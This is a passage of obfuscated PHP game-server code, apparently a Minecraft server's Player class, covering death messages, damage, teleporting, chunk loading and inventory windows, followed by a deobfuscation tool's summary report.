Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.arrow";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}else{${${"GLOBALS"}["gordtxxcvh"]}[]="Unknown";}}break;case EntityDamageEvent::CAUSE_SUICIDE:${${"GLOBALS"}["xtcwfhcwd"]}="death.attack.generic";break;case EntityDamageEvent::CAUSE_VOID:${${"GLOBALS"}["yanpgiujvpmy"]}="death.attack.outOfWorld";break;case EntityDamageEvent::CAUSE_FALL:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageEvent){if($cause->getFinalDamage()>2){${"GLOBALS"}["wtkhjkeoan"]="message";${${"GLOBALS"}["wtkhjkeoan"]}="death.fell.accident.generic";break;}}${${"GLOBALS"}["rvxlxgpy"]}="death.attack.fall";break;case EntityDamageEvent::CAUSE_SUFFOCATION:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.inWall";break;case EntityDamageEvent::CAUSE_LAVA:${$gveclbhpcuz}="death.attack.lava";break;case EntityDamageEvent::CAUSE_FIRE:${${"GLOBALS"}["gyorxsiuln"]}="death.attack.onFire";break;case EntityDamageEvent::CAUSE_FIRE_TICK:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.inFire";break;case EntityDamageEvent::CAUSE_DROWNING:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.drown";break;case EntityDamageEvent::CAUSE_CONTACT:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByBlockEvent){if($cause->getDamager()->getId()===Block::CACTUS){${"GLOBALS"}["betwegxssyh"]="message";${${"GLOBALS"}["betwegxssyh"]}="death.attack.cactus";}}break;case EntityDamageEvent::CAUSE_BLOCK_EXPLOSION:case EntityDamageEvent::CAUSE_ENTITY_EXPLOSION:if(${${"GLOBALS"}["zmuhpbybd"]} instanceof EntityDamageByEntityEvent){${"GLOBALS"}["ragpjledspgk"]="e";${"GLOBALS"}["rvcaeqyomrh"]="e";${${"GLOBALS"}["rvcaeqyomrh"]}=$cause->getDamager();if(${${"GLOBALS"}["ragpjledspgk"]} instanceof Player){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getDisplayName();}elseif(${${"GLOBALS"}["pysiiolnxh"]} instanceof Living){${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion.player";${${"GLOBALS"}["gordtxxcvh"]}[]=$e->getNameTag()!==""?$e->getNameTag():$e->getName();break;}}else{${${"GLOBALS"}["vyzlfgfs"]}="death.attack.explosion";}break;case EntityDamageEvent::CAUSE_MAGIC:${${"GLOBALS"}["vyzlfgfs"]}="death.attack.magic";break;case EntityDamageEvent::CAUSE_CUSTOM:break;default:}Entity::kill();${$pqklgnjmoz}=new PlayerDeathEvent($this,$this->getDrops(),new TranslationContainer(${${"GLOBALS"}["vyzlfgfs"]},${${"GLOBALS"}["gordtxxcvh"]}));$ev->setKeepInventory($this->server->keepInventory);$ev->setKeepExperience($this->server->keepExperience);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]});if(!$ev->getKeepInventory()){foreach($ev->getDrops()as${${"GLOBALS"}["fohexunnbe"]}){$this->level->dropItem($this,${${"GLOBALS"}["fohexunnbe"]});}if($this->inventory!==null){$this->inventory->clearAll();}}if($this->server->expEnabled and!$ev->getKeepExperience()){${${"GLOBALS"}["qqhvthwj"]}=min(91,$this->getTotalXp());${"GLOBALS"}["jgefjnqgcoc"]="exp";$this->getLevel()->spawnXPOrb($this->add(0,0.2,0),${${"GLOBALS"}["jgefjnqgcoc"]});$this->setTotalXp(0,true);}if($ev->getDeathMessage()!=""){$this->server->broadcast($ev->getDeathMessage(),Server::BROADCAST_CHANNEL_USERS);}${${"GLOBALS"}["asfdrdktz"]}=$this->getSpawn();$this->setHealth(0);${${"GLOBALS"}["ozzywsrssq"]}=new RespawnPacket();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}public function setHealth($amount){parent::setHealth(${${"GLOBALS"}["rrviqs"]});if($this->spawned===true){$this->foodTick=0;$this->getAttributeMap()->getAttribute(Attribute::HEALTH)->setMaxValue($this->getMaxHealth())->setValue(${${"GLOBALS"}["rrviqs"]},true);}}public function attack($damage,EntityDamageEvent$source){if(!$this->isAlive()){return;}${"GLOBALS"}["qdebzc"]="source";if($this->isCreative()and$source->getCause()!==EntityDamageEvent::CAUSE_MAGIC and$source->getCause()!==EntityDamageEvent::CAUSE_SUICIDE and$source->getCause()!==EntityDamageEvent::CAUSE_VOID){$source->setCancelled();}elseif($this->allowFlight and$source->getCause()===EntityDamageEvent::CAUSE_FALL){$source->setCancelled();}parent::attack(${${"GLOBALS"}["atfjurku"]},${${"GLOBALS"}["qdebzc"]});if($source->isCancelled()){return;}elseif($this->getLastDamageCause()===${${"GLOBALS"}["kvphqr"]} and$this->spawned){${${"GLOBALS"}["ozzywsrssq"]}=new EntityEventPacket();$pk->eid=0;$pk->event=EntityEventPacket::HURT_ANIMATION;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if($this->isSurvival()){$this->exhaust(0.3,PlayerExhaustEvent::CAUSE_DAMAGE);}}}public function sendPosition(Vector3$pos,$yaw=null,$pitch=null,$mode=0,array$targets=null){${"GLOBALS"}["jkrvktjy"]="yaw";${"GLOBALS"}["vwdblw"]="pk";$izkmtabx="pitch";$lrtaahtw="targets";${${"GLOBALS"}["jkrvktjy"]}=${${"GLOBALS"}["fpjrglovqm"]}===null?$this->yaw:${${"GLOBALS"}["fpjrglovqm"]};${${"GLOBALS"}["wvtjdkymit"]}=${$izkmtabx}===null?$this->pitch:${${"GLOBALS"}["wvtjdkymit"]};${${"GLOBALS"}["vwdblw"]}=new MovePlayerPacket();${"GLOBALS"}["mjkqls"]="pitch";$pk->eid=$this->getId();$pk->x=$pos->x;$pk->y=$pos->y+$this->getEyeHeight();$pk->z=$pos->z;$nvtgdpf="yaw";$pk->bodyYaw=${$nvtgdpf};$pk->pitch=${${"GLOBALS"}["mjkqls"]};$pk->yaw=${${"GLOBALS"}["fpjrglovqm"]};$pk->mode=${${"GLOBALS"}["dgvgvh"]};if(${$lrtaahtw}!==null){${"GLOBALS"}["ecxkxphdnu"]="targets";$dqkmcs="pk";Server::broadcastPacket(${${"GLOBALS"}["ecxkxphdnu"]},${$dqkmcs});}else{$pk->eid=0;$hywglzdhd="pk";$this->dataPacket(${$hywglzdhd});}}protected function checkChunks(){if($this->chunk===null or($this->chunk->getX()!==($this->x>>4)or$this->chunk->getZ()!==($this->z>>4))){if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=$this->level->getChunk($this->x>>4,$this->z>>4,true);if(!$this->justCreated){$bizebolr="newChunk";${$bizebolr}=$this->level->getChunkPlayers($this->x>>4,$this->z>>4);${"GLOBALS"}["tlqonys"]="newChunk";$rrnmxorc="newChunk";unset(${${"GLOBALS"}["tlqonys"]}[$this->getLoaderId()]);${${"GLOBALS"}["jrvpsabiq"]}=[];foreach($this->hasSpawned as${${"GLOBALS"}["qnhmrhqnggr"]}){if(!isset(${${"GLOBALS"}["knqonkrarpgw"]}[$player->getLoaderId()])){$this->despawnFrom(${${"GLOBALS"}["qnhmrhqnggr"]});}else{$ilxvklpr="newChunk";unset(${$ilxvklpr}[$player->getLoaderId()]);${"GLOBALS"}["sovbyuys"]="reload";${${"GLOBALS"}["sovbyuys"]}[]=${${"GLOBALS"}["qnhmrhqnggr"]};}}foreach(${$rrnmxorc} as${${"GLOBALS"}["qnhmrhqnggr"]}){${"GLOBALS"}["flomjsgmdb"]="player";$this->spawnTo(${${"GLOBALS"}["flomjsgmdb"]});}}if($this->chunk===null){return;}$this->chunk->addEntity($this);}}protected function checkTeleportPosition(){if($this->teleportPosition!==null){${"GLOBALS"}["bxbpaefhzpn"]="chunkZ";${"GLOBALS"}["pgsruqvos"]="chunkX";${"GLOBALS"}["cshfmoon"]="X";${${"GLOBALS"}["pgsruqvos"]}=$this->teleportPosition->x>>4;${${"GLOBALS"}["bxbpaefhzpn"]}=$this->teleportPosition->z>>4;for(${${"GLOBALS"}["rbmfjwfncmxp"]}=-1;${${"GLOBALS"}["rbmfjwfncmxp"]}<=1;++${${"GLOBALS"}["cshfmoon"]}){for(${${"GLOBALS"}["txdpmuloyj"]}=-1;${${"GLOBALS"}["txdpmuloyj"]}<=1;++${${"GLOBALS"}["txdpmuloyj"]}){$ztbxpb="chunkX";$ejntyqh="index";${"GLOBALS"}["xxtuuxjiy"]="chunkZ";$gwyqnxicfbu="index";${"GLOBALS"}["urlthzcikhn"]="Z";if(!isset($this->usedChunks[${$ejntyqh}=Level::chunkHash(${$ztbxpb}+${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["xxtuuxjiy"]}+${${"GLOBALS"}["urlthzcikhn"]})])or$this->usedChunks[${$gwyqnxicfbu}]===false){return false;}}}$this->sendPosition($this,null,null,1);$this->spawnToAll();$this->forceMovement=$this->teleportPosition;$this->teleportPosition=null;return true;}return true;}public function teleport(Vector3$pos,$yaw=null,$pitch=null){$emcsvddfymva="pitch";$sfuxmyetdqt="oldPos";if(!$this->isOnline()){return false;}${"GLOBALS"}["jgumygbqwkl"]="pos";$yeosrw="yaw";${$sfuxmyetdqt}=$this->getPosition();if(parent::teleport(${${"GLOBALS"}["jgumygbqwkl"]},${$yeosrw},${$emcsvddfymva})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$zttwahok="window";if(${${"GLOBALS"}["tosljdjh"]}===$this->inventory){continue;}$this->removeWindow(${$zttwahok});}$this->teleportPosition=new Vector3($this->x,$this->y,$this->z);if(!$this->checkTeleportPosition()){${"GLOBALS"}["llkmyfsdo"]="oldPos";$this->forceMovement=${${"GLOBALS"}["llkmyfsdo"]};}else{$this->spawnToAll();}$this->resetFallDistance();$this->nextChunkOrderRun=0;$this->newPosition=null;$this->stopSleep();return true;}return false;}public function teleportImmediate(Vector3$pos,$yaw=null,$pitch=null){$pdadfnjwfq="pitch";if(parent::teleport(${${"GLOBALS"}["wxoehmqbtg"]},${${"GLOBALS"}["fpjrglovqm"]},${$pdadfnjwfq})){foreach($this->windowIndex as${${"GLOBALS"}["tosljdjh"]}){$czwakffs="window";if(${$czwakffs}===$this->inventory){continue;}$this->removeWindow(${${"GLOBALS"}["tosljdjh"]});}$this->forceMovement=new Vector3($this->x,$this->y,$this->z);$this->sendPosition($this,$this->yaw,$this->pitch,1);$this->resetFallDistance();$this->orderChunks();$this->nextChunkOrderRun=0;$this->newPosition=null;}}public function getWindowId(Inventory$inventory):int{if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){${"GLOBALS"}["dwwsjormlin"]="inventory";return$this->windows[${${"GLOBALS"}["dwwsjormlin"]}];}return-1;}public function addWindow(Inventory$inventory,$forceId=null):int{$yigylmltsfu="inventory";if($this->windows->contains(${$yigylmltsfu})){$vmzimvbm="inventory";return$this->windows[${$vmzimvbm}];}$gzvnwoxnmok="inventory";${"GLOBALS"}["wgsenj"]="inventory";if(${${"GLOBALS"}["qsjjhu"]}===null){$this->windowCnt=${${"GLOBALS"}["qsdfffo"]}=max(2,++$this->windowCnt%99);}else{${"GLOBALS"}["jkqethpjlidd"]="cnt";${${"GLOBALS"}["jkqethpjlidd"]}=(int)${${"GLOBALS"}["qsjjhu"]};}${"GLOBALS"}["wdbxsxsoeej"]="cnt";$this->windowIndex[${${"GLOBALS"}["wdbxsxsoeej"]}]=${$gzvnwoxnmok};$bfybctemt="cnt";$this->windows->attach(${${"GLOBALS"}["wgsenj"]},${$bfybctemt});if($inventory->open($this)){$vvsxicdznox="cnt";return${$vvsxicdznox};}else{$this->removeWindow(${${"GLOBALS"}["sdvdbukwmn"]});return-1;}}public function removeWindow(Inventory$inventory){$inventory->close($this);if($this->windows->contains(${${"GLOBALS"}["sdvdbukwmn"]})){$lyyjqvunzvv="id";$ulwwuz="id";${"GLOBALS"}["uqygkfdw"]="inventory";${"GLOBALS"}["tnvinncguap"]="id";${$lyyjqvunzvv}=$this->windows[${${"GLOBALS"}["uqygkfdw"]}];$this->windows->detach($this->windowIndex[${${"GLOBALS"}["tnvinncguap"]}]);unset($this->windowIndex[${$ulwwuz}]);}}public function setMetadata($metadataKey,MetadataValue$metadataValue){${"GLOBALS"}["xwzxyfcfztvj"]="metadataValue";$this->server->getPlayerMetadata()->setMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["xwzxyfcfztvj"]});}public function getMetadata($metadataKey){return$this->server->getPlayerMetadata()->getMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function hasMetadata($metadataKey){return$this->server->getPlayerMetadata()->hasMetadata($this,${${"GLOBALS"}["dtoedn"]});}public function removeMetadata($metadataKey,Plugin$plugin){${"GLOBALS"}["iufqedf"]="plugin";$this->server->getPlayerMetadata()->removeMetadata($this,${${"GLOBALS"}["dtoedn"]},${${"GLOBALS"}["iufqedf"]});}public function onChunkChanged(FullChunk$chunk){$this->loadQueue[Level::chunkHash($chunk->getX(),$chunk->getZ())]=abs(($this->x>>4)-$chunk->getX())+abs(($this->z>>4)-$chunk->getZ());}public function onChunkLoaded(FullChunk$chunk){}public function onChunkPopulated(FullChunk$chunk){}public function onChunkUnloaded(FullChunk$chunk){}public function onBlockChanged(Vector3$block){}public function getLoaderId(){return$this->loaderId;}public function isLoaderActive(){return$this->isConnected();}public static function getChunkCacheFromData($chunkX,$chunkZ,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){$qnrfybgrgf="pk";$fmpopdkmpy="chunkX";${"GLOBALS"}["dqtwkvqjyn"]="payload";${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=${$fmpopdkmpy};$pk->chunkZ=${${"GLOBALS"}["dwjjtd"]};${"GLOBALS"}["wbxkojdr"]="ordering";$pk->order=${${"GLOBALS"}["wbxkojdr"]};$pk->data=${${"GLOBALS"}["dqtwkvqjyn"]};$pk->encode();return${$qnrfybgrgf};}} 
?>

Function Calls

None

Variables

None

Stats

MD5 0327a93fa732eac428c719480586f346
Eval Count 0
Decode Time 465 ms